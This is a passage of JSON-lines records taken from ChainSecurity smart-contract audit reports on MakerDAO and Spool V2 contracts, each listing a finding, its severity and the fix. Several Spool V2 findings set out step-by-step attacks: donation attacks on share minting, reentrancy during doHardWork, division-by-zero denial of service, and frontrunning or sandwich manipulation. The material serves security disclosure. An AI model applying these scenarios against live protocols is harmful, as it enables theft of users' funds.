Corrected\nCS-SPC-\n```\nDaiInterestRateSTrategy.recompute() changes the storage but does not emit an event.\n\nCode corrected:\n\nThe event Recompute is now emitted in recompute().","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf"}} +{"title":"6.6 Outdated Aave Version Used","body":"```\nInformational Version 1 Code Corrected\nCS-SPC-\n```\nThe repository currently uses the Aave v3 version 1.17.2. The version still contains a bug that\nautomatically enables tokens with an LTV of 0 as collateral as soon as they are sent to an address. This\ncan be problematic in cases when the recipient holds a borrowing position as it prevents the withdrawal\nof any tokens with an LTV greater than 0.\n\nWhile the SparkConduit contract currently does not hold a borrowing position, this might be changed in\nthe future. In this case, the Aave version should be updated to prevent DoS attacks by simply sending 1\nwei of aTokens to the contract.\n\nCode corrected:\n\nThe Aave submodule commit hash has been updated to the v1.18.0 version.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf"}} +{"title":"6.7 subsidySpread Overflow","body":"```\nInformational Version 1 Code Corrected\nCS-SPC-\n```\nSparkConduit.setSubsidySpread() does not contain a check to verify that subsidySpread is\nsmall enough to fit into a uint128 variable when added up to the DSR rate. Therefore, it may be\npossible that the following line in getInterestRate() overflows on unsigned downcast:\n\n```\nbaseRate: uint128(dsr + subsidySpread)\n```\nCode corrected:\n\nsubsidySpread is no longer used.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf"}} +{"title":"6.1 ERC-20 Missing Return Value","body":"```\nDesign Low Version 1 Specification Changed\nCS-MDAC-\n```\nArrangerConduit handles ERC-20 transfers in the following way:\n\n```\nrequire(\nERC20Like(asset).transfer(destination, amount),\n\"ArrangerConduit/transfer-failed\"\n);\n```\nThis assumes that all ERC-20 contracts that can be called return a boolean value in their transfer()\nand transferFrom() functions. This is however not the case. Popular tokens like USDT are not\nreturning any value in the mentioned functions. If it were to happen that the arranger sends such tokens\nto the contract, the tokens would be locked and require an update of the contract.\n\nSpecification changed:\n\nTransfers are now performed without checking the return values of ERC20 tokens at all. MakerDAO\nassures that only tokens that revert on failure are used as assets in the contract.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf"}} +{"title":"6.2 Floating Pragma","body":"```\nDesign Low Version 1 Code Corrected\nCS-MDAC-\n```\nThe ArrangerConduit contract is not set to a fixed solidity version - neither in the contract nor in the\nFoundry configuration. This can lead to unintended side-effects when the contract is compiled with\ndifferent compiler versions.\n\nCode corrected:\n\n\nThe compiler version 0.8.16 has been added to the Foundry configuration.\n\n\n\nWe utilize this section to point out informational findings that are less severe than issues. These\ninformational issues allow us to point out more theoretical findings. Their explanation hopefully improves\nthe overall understanding of the project's security. Furthermore, we point out findings which are unrelated\nto security.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf"}} +{"title":"7.1 Incorrect maxDeposit() Return Value","body":"```\nInformational Version 1\nCS-MDAC-\n```\nArrangerConduit.maxDeposit() always returns type(uint256).max. This value is, however,\nonly correct if the contract does not hold any tokens of the given asset at the time of the call.\nFurthermore, some tokens have a lower maximum (e.g., type(uint96).max in the COMP token).","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf"}} +{"title":"6.1 Impossibility to Create One-Side Token","body":"Liquidity\n\n```\nCorrectness Low Version 1 Code Corrected\nCS-MKALLOC-\n```\nThe DeposiorUniV3 funnel has a uniswapV3MintCallback() function for properly integrating with\nUniswap V3 and move the funds. However, it only moves funds if the owed amount in token0 is greater\nthan 0. Hence, if the current tick is outside of the position's tick range so that it leads to one-sided liquidity\nin token1, no funds will be transferrable. Ultimately, one-sided token1 liquidity cannot be added. Thus,\ndeposits could be temporarily DOSed.\n\nCode corrected:\n\namt1Owed is now used for transfers of token1.","dataSource":{"name":"ChainSecurity/ChainSecurity_Maker_DSS_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf"}} +{"title":"6.2 Incorrect Uniswap V3 Path Interpretation","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-MKALLOC-\n```\nThe swapper callback contract for UniswapV3 interprets the last tokens as follows:\n\n```\nlastToken := div(mload(sub(add(add(path, 0x20), mload(path)), 0x14)), 0x1000000000000000000000000)\n```\nNamely, it loads the last 20 bytes as the last token. However, the path may have some additional unused\ndata so that the last token does not have any effect on the execution. Consider the following example:\n\n```\n1.The path is encoded as [srcToken fee randomToken dstToken].\n2.The swapper will interpret dstToken as the last token.\n3.However, in UniswapV3, randomToken will be received.\n```\n\n```\n4.In case no slippage requirements for the amount out are present, randomToken will be received\nsuccessfully and will be stuck in the swapper contract.\n```\nUltimately, the path is wrongly interpreted which could, given some configurations, lead to tokens lost\nunnecessarily due to bad input values.\n\nCode corrected:\n\nThe check towards the correctness of path encoding has been removed, as it provides a false sense of\nsecurity. Ultimately, the swap is protected by the minimum output token amount requirement.\n\nMaker states:\n\n```\nThese checks were only meant to provide more explicit revert reasons for a subset\nof (common) path misconfigurations and were not meant to catch all possible incorrect\npath arrays. Ultimately the \"\"Swapper/too-few-dst-received\"\" check is the only one\nthat matters. But since that seems to cause confusion, we just removed the checks.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Maker_DSS_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf"}} +{"title":"6.3 Gas Inefficiencies","body":"```\nInformational Version 1 Code Corrected\nCS-MKALLOC-\n```\nBelow is a non-exhaustive list of gas inefficiencies:\n\n```\n1.In AllocatorVault.wipe(), the call vat.frob() takes address(this) as an argument for\nthe gem balance manipulation. However, due to the gem balance not being interacted with, using\naddress(0) may improve gas consumption minimally.\n```\n```\n2.In the withdrawal and deposit functions of the UniV3Depositor, an unnecessary MSTORE\noperation is performed when caching era into memory. Using only the SLOAD could be sufficient.\n```\nCode corrected:\n\nCode has been corrected to optimize the gas efficiency.\n\n\n\nWe utilize this section to point out informational findings that are less severe than issues. These\ninformational issues allow us to point out more theoretical findings. Their explanation hopefully improves\nthe overall understanding of the project's security. Furthermore, we point out findings which are unrelated\nto security.","dataSource":{"name":"ChainSecurity/ChainSecurity_Maker_DSS_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf"}} +{"title":"7.1 Lack of Sanity Checks","body":"```\nInformational Version 1 Acknowledged\nCS-MKALLOC-\n```\nThe code often lacks sanity checks for setting certain variables. The following is a non-exhaustive list:\n\n```\n1.On deployment, the conduit mover does not validate whether the ilk and the buffer match against\nthe registry.\n```\n```\n2.Similarly, that is the case for the allocator vault.\n```\nMaker states:\n\n```\nThe sanity checks are done as part of the init functions (to be called in the\nrelevant spell).\n```\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Maker_DSS_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf"}} +{"title":"8.1 1T NST Minting","body":"Note Version 1\n\nThe documentation specifies that a maximum of 1T NST should be placed and that at most 1T NST\nshould be mintable. However, that may not be the case if the spotter has mat and par set to unsuitable\nvalues. Technically, Vat.rate could be decreasing (depending on the jug). Hence, with a decreasing\nrate, more than 1T NST could be minted. Additionally, governance is expected to provide the allocator\nvault with a gem balance through Vat.slip(). Calling this multiple times would allow to re-initialize the\nallocator vault multiple times to create more ink than intended (and, hence, allowing for more debt than\nexpected).\n\nUltimately, governance should be careful when choosing properties.","dataSource":{"name":"ChainSecurity/ChainSecurity_Maker_DSS_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf"}} +{"title":"8.2 Deposit and Withdraw Share the Same","body":"Capacity\n\nNote Version 1\n\nThe governance can set a PairLimit in DepositorUniV3, which limits the maximum amount of a pair\nof tokens that can be added or removed from the pool per era. Instead of setting two capacity parameters\nfor adding liquidity and removing liquidity respectively, both actions share the same capacity.","dataSource":{"name":"ChainSecurity/ChainSecurity_Maker_DSS_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf"}} +{"title":"8.3 Potentially Outdated Debt Estimation","body":"Note Version 1\n\nIn contract AllocatorVault, debt() returns an estimation of the debt that is on the Vault's urn. This\nestimation could be outdated if the vat's rate has not been updated by the jug.drip() in the same\nblock.\n\nThe getter debt() has been removed (along with line() and slot()). Maker states that they are not\nstrictly needed and can be implemented in another contract as well.","dataSource":{"name":"ChainSecurity/ChainSecurity_Maker_DSS_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf"}} +{"title":"8.4 Shutdown Not Considered","body":"Note Version 1\n\nThe shutdown was not in scope and users should be aware that consequences of a potential shutdown\nhave not been investigated as part of this audit.","dataSource":{"name":"ChainSecurity/ChainSecurity_Maker_DSS_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf"}} +{"title":"8.5 Topology May Break the Intended Rate Limit","body":"Note Version 1\n\nThe keepers' ability to move funds between conduits/buffer and swapping tokens is limited by the triplets\n(from, to, gem) and (src, dst, amt) respectively. However, the actual funds flow between from and to\n(src and dst) could exceed the config dependent on the topology of the settings.\n\nAssume there is a config that limits moving NST between conduits CA and CB to 100 per hop:\n(CA, CB, 100). If there are another two configs (CA, CX, 40) and (CX, CB, 60) exist, then\nkeepers can move at most 100 + 40 = 140 DAI from CA to CB per hop.\n\nThe same situation applies to Swapper. Therefore, the topology of the configs should be carefully\ninspected.\n\nMaker states:\n\n```\nThe rate limit for each swap/move pair is an authed configuration of the allocator\nproxy. It is therefore assumed to know what it is doing and is allowed to set any\nconfiguration regardless of paths or duplication.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Maker_DSS_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Maker_DSS_Allocator_audit.pdf"}} +{"title":"5.1 Read-only Reentrancy","body":"```\nDesign Low Version 1 Acknowledged\nCS-SpoolV2-\n```\nIt can be possible to construct examples where certain properties of the SV mismatch reality. For\nexample, during reallocations, a temporary devaluation of SVTs occurs due to SSTs being released. Due\nto reentrancy possibilities, certain values retrieved could be inaccurate (e.g. SV valuation).\n\nAcknowledged:\n\nWhile the read-only reentrancy does directly affect on the protocol, it could affect third parties. Spool\nreplied:\n\n```\nThe mentioned view functions are not intended to be used while the\nreallocation is in progress.\n```\n\n\nHere, we list findings that have been resolved during the course of the engagement. Their categories are\nexplained in the Findings section.\n\nBelow we provide a numerical overview of the identified findings, split up by their severity.\n\n```\nCritical-Severity Findings 1\n```\n- Lack of Access Control in recoverPendingDeposits() Code Corrected\n\n```\nHigh-Severity Findings 7\n```\n- DOS Synchronization by Dividing With Zero Redeemed Shares Code Corrected\n- DOS on Deposit Synchronization Code Corrected\n- Donation Attack on SST Minting Code Corrected\n- Donation Attack on SVT Minting Code Corrected\n- Flushing Into Ongoing DHW Leading to Loss of Funds Code Corrected\n- No Deposit Due to Reentrancy Into redeemFast() Code Corrected\n- Wrong Slippage Parameter in Curve Deposit Code Corrected\n\n```\nMedium-Severity Findings 5\n```\n- Curve LP Token Value Calculation Can Be Manipulated Code Corrected\n- Deposits to Vault With Only Ghost Strategies Possible Code Corrected\n- Ghost Strategy Disables Functionality Code Corrected\n- Inconsistent Compound Strategy Value Code Corrected\n- Strategy Value Manipulation Code Corrected\n\n```\nLow-Severity Findings 19\n```\n- Distribution to Ghost Strategy Code Corrected\n- Lack of Access Control for Setting Extra Rewards Code Corrected\n- Wrong Error IdleStrategy.beforeRedeemalCheck() Code Corrected\n- Access Control Not Central to Access Control Contract Specification Changed\n- Asset Decimal in Price Feed Code Corrected\n- Bad Event Emissions Code Corrected\n- Broken Conditions on Whether Deposits Have Occurred Code Corrected\n- Deposit Deviation Can Be Higher Than Expected Code Corrected\n- Inconsistent Handling of Funds on Strategy Removal Code Corrected\n- Misleading Constant Name Code Corrected\n- Missing Access Control in Swapper Code Corrected\n- Missing Event Fields Code Corrected\n- No Sanity Checks on Slippage Type Code Corrected\n- Precision Loss in Notional Finance Strategy Code Corrected\n- Redemption Executor Code Corrected\n\n\n- State Inconsistencies Possible Code Corrected\n- Unused Functions Code Corrected\n- Unused Variable Code Corrected\n- Validation of Specification Code Corrected\n\n```\nInformational Findings 9\n```\n- Reverts Due to Management Fee Code Corrected\n- Simplifying Performance Fees Code Corrected\n- Strategy Removal for an SV Possible That Does Not Use It Code Corrected\n- Errors in NatSpec Specification Changed\n- Distinct Array Lengths Code Corrected\n- Gas Optimizations Code Corrected\n- Nameless ERC20 Code Corrected\n- NFT IDs Code Corrected\n- Tokens Can Be Enabled Twice Code Corrected","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.1 Lack of Access Control in","body":"recoverPendingDeposits()\n\n```\nSecurity Critical Version 3 Code Corrected\nCS-SpoolV2-039\n```\nDepositManager.recoverPendingDeposits() has no access control (instead of being only\ncallable by the SV manager). Thus, it allows arbitrary users to freely specify the arguments passed to the\nfunction. Ultimately, funds from the master wallet can be stolen.\n\nCode corrected:\n\nAccess control was added. Now, only ROLE_SMART_VAULT_MANAGER can access the function.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.2 DOS Synchronization by Dividing With Zero","body":"Redeemed Shares\n\n```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-001\n```\n_sharesRedeemed describes the SSTs redeemed by an SV. That value could be zero due to rounding.\nHence,\n\n```\nuint256 withdrawnAssets =\n_assetsWithdrawn[strategy][dhwIndex][j] * strategyShares[i] / _sharesRedeemed[strategy][dhwIndex];\n```\ncould be a division by zero.\n\nConsider the following scenario:\n\n```\n1.Many deposits are made to an SV.\n```\n\n```\n2.The attacker makes a 1 SVT wei withdrawal.\n3.The attacker flushes the SV.\n4.The redeemed SSTs are computes as\nstrategyWithdrawals[i] = strategyShares * withdrawals / totalVaultShares.\nstrategyShares corresponds to the shares held by the SV. Hence if the SV's balance of SSTs is\nlower than the total supply of SSTs (recall, the withdrawal is 1), the shares to be withdrawn is 0.\n5.The withdrawal manager passes it to the strategy registry which then stores these values in\n_sharesRedeemed.\n6.No other SV tries to withdraw.\n7.The division reverts on synchronization.\n```\nUltimately, funds will be locked and SVs could be DOSed.\n\nCode corrected:\n\nNow, in every iteration of the loop in StrategyRegistry.claimWithdrawals(), it is checked\nwhether the strategy shares to be withdrawn from the SV (strategyShares) are non-zero. In the case\nof strategyShares being zero, the iteration is skipped. If not the case, _sharesRedeemed > 0 will\nhold. That is because it is the sum of all SV withdrawals. In other words,\nstrategyShares_SV > 0 => _sharesRedeemed > 0.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.3 DOS on Deposit Synchronization","body":"```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-002\n```\nAfter the DHW of an SV's to-sync flush cycle, the SV must be synced. The deposit manager decides,\nbased on the value of the deposits at DHW, how many of the minted SSTs will be claimable by the SV. It\nis computed as follows:\n\n```\nresult.sstShares[i] = atDhw.sharesMinted * depositedUsd[0] / depositedUsd[1];\n```\nThe depositedUsd has the total deposit of the vault in USD at index zero while at index 1 the total\ndeposits of all SVs are aggregated.\n\nTo calculate result.sstShares[i] the following condition should be met:\n\n```\n/// deposits = _vaultDeposits[parameters.smartVault][parameters.bag[0]][0];\ndeposits > 0 && atDhw.sharesMinted > 0\n```\nwhich means that the first asset in the asset group had to be deposited and that at least one SST had to\nbe minted. Given very small values and front-running DHWs with donations that could be achieved.\nUltimately, a division-by-zero could DOS the synchronization.\n\nConsider the following scenario:\n\n```\n1.Only withdrawals occur on a given strategy.\n```\n```\n2.An attacker sees a DHW incoming for that strategy.\n3.The attacker frontruns the transaction and makes a minor deposit so that deposits > 0 holds.\nAdditionally, the assetToUsdCustomPriceBulk() should return 0 which is possible due to\nrounding. See the following code in UsdPriceFeedManager.assetToUsdCustomPrice:\n```\n\n```\nassetAmount * price / assetMultiplier[asset];\n```\nUnder the condition that assetAmount * price is less than assetMultiplier (e.g. 1 wei at 0.1\nUSD for a token with 18 decimals), that will return 0.\n\n```\n4.Additionally, the attacker donates an amount so that Strategy.doHardWork() so that 1 wei SST\nwill be minted (note that the Strategy mints based on the balances and does not receive the\namount that were deposited).\n5.Finally, DHW is entered and succeeds with 1 minted share.\n6.The vault must sync. However, it reverts due to depositedUsd[1] being calculated as 0.\n```\nUltimately, an attacker could cheaply attack multiple SVs under certain conditions.\n\nCode corrected:\n\ndeposits > 0 has been replaced by checking whether there are any deposits made to any of the\nunderlying assets. Additionally, a condition skips the computation (and some surrounding ones) in case\nthe deposited value is zero.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.4 Donation Attack on SST Minting","body":"```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-003\n```\nThe SSTs are minted on DHW and based on the existing value. However, it is possible to donate (e.g.\naTokens to the Aave strategy) to strategies so that deposits are minting no shares.\n\nA simple attack may cause a loss in funds. Consider the following scenario:\n\n```\n1.A new strategy is deployed.\n2.1M USD is present for the DHW (value was zero since it is a new strategy).\n3.An attacker donates 1 USD in underlying of the strategy (e.g. aToken).\n```\n```\n4.DHW on the strategies happens.``usdWorth[0]`` will be non-zero. Hence, the\ndepositShareEquivalent will be computed using multiplication with total supply which is 0.\nUltimately, no shares will be minted.\n```\nUltimately, funds could be lost.\n\nAn attacker could improve on the attack for profit.\n\n```\n1.A new strategy is deployed.\n2.An attacker achieves to mint some shares.\n3.The attacker redeems the shares fast so that only 1 SST exists.\n4.Now, others deposit 1M USD.\n5.The attacker donates 1M + 1 USD in yield-bearing tokens to the strategy.\n```\n```\n6.No shares are minted due to rounding issues since the depositSharesEquivalent and the\nwithdrawnShares are zero.\n```\nThe deposits will increase the value of the strategy so that the attacker profits.\n\nUltimately, funds could be stolen.\n\n\nCode corrected:\n\nWhile the total supply of SSTs is less than INITIAL_LOCKED_SHARES, the shares are minted at a fixed\nrate. INITIAL_LOCKED_SHARES are minted to the address 0xdead so that a minimum amount of\nshares is enforced. That makes such attacks much more expensive.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.5 Donation Attack on SVT Minting","body":"```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-004\n```\nThe SVTs that are minted on synchronization are minted based on the existing value at the flush.\nHowever, it is possible to donate to SVs so that deposits are minting no shares.\n\nA simple attack may cause a loss in funds. Consider the following scenario:\n\n```\n1.A new SV is deployed.\n2.1M USD is flushed (value was zero since it is a new vault).\n3.An attacker, holding some SSTs (potentially received through platform fees), donates 1 USD in\nSSTs (increases the vault value to 1 USD). Frontruns DHW.\n4.DHW on the strategies happens.\n```\n```\n5.The SV gets synced. The synchronization does not enter the branch of\nif (totalUsd[1] == 0) since the value is 1 USD. The SVTs are minted based on the total\nsupply of SVTs which is zero. Hence, zero shares will be minted.\n6.The depositors of the fund receive no SVTs.\n```\nUltimately, funds could be lost.\n\nAn attacker could improve on the attack for profit.\n\n```\n1.A new SV is deployed.\n2.An attacker achieves to mint some shares.\n3.The attacker redeems the shares fast so that only 1 SVT exists.\n4.Now, others deposit 1M USD, and the deposits are flushed.\n```\n```\n5.The attacker donates 1M + 1 USD in SSTs to the strategy.\n6.Assume there are no fees for the SV for simplicity. Synchronization happens. The shares minted for\nthe deposits will be equal to 1 * 1M USD / (1M + 1 USD) which rounds down to zero.\n```\nThe deposits will increase the value of the vault so that the attacker profits.\n\nFinally, consider that an attack could technically also donate to the strategy before the DHW so that\ntotalStrategyValue is pumped.\n\nCode corrected:\n\nWhile the total supply of SSTs is less than INITIAL_LOCKED_SHARES, the shares are minted at a fixed\nrate. INITIAL_LOCKED_SHARES are minted to the address 0xdead so that a minimum amount of\nshares is enforced. That makes such attacks much more expensive.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.6 Flushing Into Ongoing DHW Leading to Loss","body":"of Funds\n\n```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-005\n```\nThe DHW could be reentrant due to the underlying protocols allowing for reentrancy or the swaps being\nreentrant. That reentrancy potential may allow an attacker to manipulate the perceived deposit value in\nStrategy.doHardWork().\n\nConsider the following scenario:\n\n```\n1.DHW is being executed for a strategy. The deposits are 1M USD. Assume that for example the best\noff-chain computed path is taken for swaps. An intermediary token is reentrant.\n2.The strategy registry communicated the provided funds and the withdrawn shares for the DHW\nindex to the strategy.\n3.Funds are swapped.\n4.The attacker reenters a vault that uses the strategy and flushes 1M USD. Hence, the funds to\ndeposit and shares to redeem for the DHW changed even though the DHW is already running.\n5.The funds will be lost. However, the loss is split among all SVs.\n```\n```\n6.However, the next DHW will treat the assets as deposits made by SVs. An attacker could maximize\nhis profit by depositing a huge amount and flushing to the DHW index where the donation will be\napplied. Additionally, he could try flushing all other SVs with small amounts. The withdrawn shares\nwill be just lost.\n```\nTo summarize, flushing could be reentered to manipulate the outcome of DHW due to bad inputs coming\nfrom the strategy registry.\n\nCode corrected:\n\nReentrancy protection has been added for this case.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.7 No Deposit Due to Reentrancy Into","body":"redeemFast()\n\n```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-006\n```\nThe DHW could be reentrant due to the underlying protocols allowing for reentrancy or the swaps being\nreentrant. That reentrancy potential may allow an attacker to manipulate the perceived deposit value in\nStrategy.doHardWork().\n\nConsider the following scenario:\n\n```\n1.DHW is executed for a strategy. The deposits are 1M USD. Assume that for example the best\noff-chain computed path is taken for swaps. An intermediary token is reentrant.\n```\n```\n2.DHW checks the value of the strategy, which is 2M USD and fully controlled by the attacker's SV.\n3.The DHW swaps the incoming assets. The attacker takes control of the execution.\n4.The attacker redeems 1M USD with redeemFast(). The strategy's value drops to 1M USD.\n5.DHW proceeds, a good swap is made and the funds are deposited into the protocol.\n6.DHW retrieves the new strategy value which is now 2M USD.\n```\n\n```\n7.The perceived deposit is now 0 USD due to 2. and 6. However, the actual deposit was 1M USD.\n```\nUltimately, the deposit made is treated as a donation to the attacker since zero shares are minted.\n\nSimilarly, such attacks are possible when redeeming SSTs with redeemStrategyShares().\n\nAlso, the attack could occur in regular protocol interactions if the underlying protocol has reentrancy\npossibilities (e.g. protocol itself has a swapping mechanism). In such cases, the reallocation could be\nvulnerable due to similar reasons in depositFast().\n\nCode corrected:\n\nReentrancy protection has been added for this case.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.8 Wrong Slippage Parameter in Curve Deposit","body":"```\nCorrectness High Version 1 Code Corrected\nCS-SpoolV2-007\n```\nCurve3CoinPoolBase._depositToProtocol() calculates an offset for the given slippage array.\nThis offset is then passed - without the actual array - into the function _depositToCurve(). The\nadd_liquidity() function of the Curve pool is then called with this offset parameter, setting the\nslippage to always either 7 or 10:\n\n```\nuint256 slippage;\nif (slippages[0] == 0) {\nslippage = 10;\n} else if (slippages[0] == 2) {\nslippage = 7;\n} else {\nrevert CurveDepositSlippagesFailed();\n}\n```\n```\n_depositToCurve(tokens, amounts, slippage);\n```\n```\npool.add_liquidity(curveAmounts, slippage);\n```\nDHW calls can be frontrun to extract almost all value of this call.\n\nCode corrected:\n\nCurve3CoinPoolBase._depositToProtocol() now passes the correct value of the slippages\narray to _depositToCurve().","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.9 Curve LP Token Value Calculation Can Be","body":"Manipulated\n\n```\nCorrectness Medium Version 1 Code Corrected\nCS-SpoolV2-008\n```\n\nCurve3CoinPoolBase._getUsdWorth() and ConvexAlusdStrategy._getTokenWorth()\ncalculate the value of available LP tokens in the following way:\n\n```\nfor (uint256 i; i < tokens.length; ++i) {\nusdWorth += priceFeedManager.assetToUsdCustomPrice(\ntokens[i], _balances(assetMapping.get(i)) * lpTokenBalance / lpTokenTotalSupply, exchangeRates[i]\n);\n}\n```\nThis is problematic as the pool exchanges tokens based on a curve (even though it is mostly flat).\nConsider the following scenario (simplified for 2 tokens):\n\n- The pool's current A value is 2000.\n- The pool holds 100M of each token.\n- The total LP value according to the given calculation is 200M USD.\n- A big trade (200M) changes the holdings of the pool in the following way:\n - 300M A token\n - ~160 B token\n- The total LP value according to the given calculation is now ~300M USD.\n\nA sandwich attack on StrategyRegistry.doHardWork() could potentially skew the value of a\nstrategy dramatically (although an enormous amount of tokens would be required due to the flat curve of\nthe StableSwap pool). This 